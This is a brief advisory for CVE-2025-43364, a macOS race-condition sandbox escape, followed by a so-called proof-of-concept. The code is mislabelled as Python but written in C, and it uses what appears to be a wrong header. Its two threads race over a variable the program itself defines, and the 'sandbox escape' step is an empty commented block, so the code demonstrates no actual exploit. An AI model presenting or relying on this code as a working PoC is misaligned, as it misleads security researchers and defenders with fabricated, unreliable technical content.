A race condition was addressed with additional validation. This issue is fixed in macOS Sequoia 15.7, macOS Sonoma 14.8, macOS Tahoe 26.1. An app may be able to break out of its sandbox.
The following code is for security research and authorized testing only.
python
// CVE-2025-43364 PoC - Race Condition Sandbox Escape (Conceptual)
// This is a theoretical demonstration for educational purposes only
#include <pthread.h>
#include <unistd.h>
#include <sys/sandbox.h>
// Shared state for race condition
volatile int resource_state = 0;
volatile int exploit_triggered = 0;
// Thread 1: Initial permission check
void* check_thread(void* arg) {
// System performs permission check here
// Check passes because resource_state is SAFE
resource_state = 0;
// Small time window where vulnerability exists
usleep(1); // microsecond delay
// Thread 2 should modify state during this window
return NULL;
}
// Thread 2: Exploit the race condition
void* exploit_thread(void* arg) {
// Wait for check to complete
while(resource_state != 0) {}
// Modify resource state BEFORE actual use
// This exploits the TOCTOU vulnerability
resource_state = 1; // Changed to COMPROMISED state
exploit_triggered = 1;
return NULL;
}
int main() {
pthread_t check_t, exploit_t;
// Initialize sandbox
sandbox_init(kSBXProfileNoInternet, 0, NULL);
// Create threads to trigger race condition
pthread_create(&check_t, NULL, check_thread, NULL);
pthread_create(&exploit_t, NULL, exploit_thread, NULL);
// Wait for threads
pthread_join(check_t, NULL);
pthread_join(exploit_t, NULL);
// If exploit_triggered, sandbox escape successful
if (exploit_triggered) {
// Access restricted resources
// System call that should be blocked by sandbox
}
return 0;
}
// Note: This is a simplified conceptual PoC. Actual exploitation
// requires specific knowledge of macOS kernel internals and
// precise timing control. Apple has patched this vulnerability
// in macOS Sequoia 15.7, macOS Sonoma 14.8, and macOS Tahoe 26.1.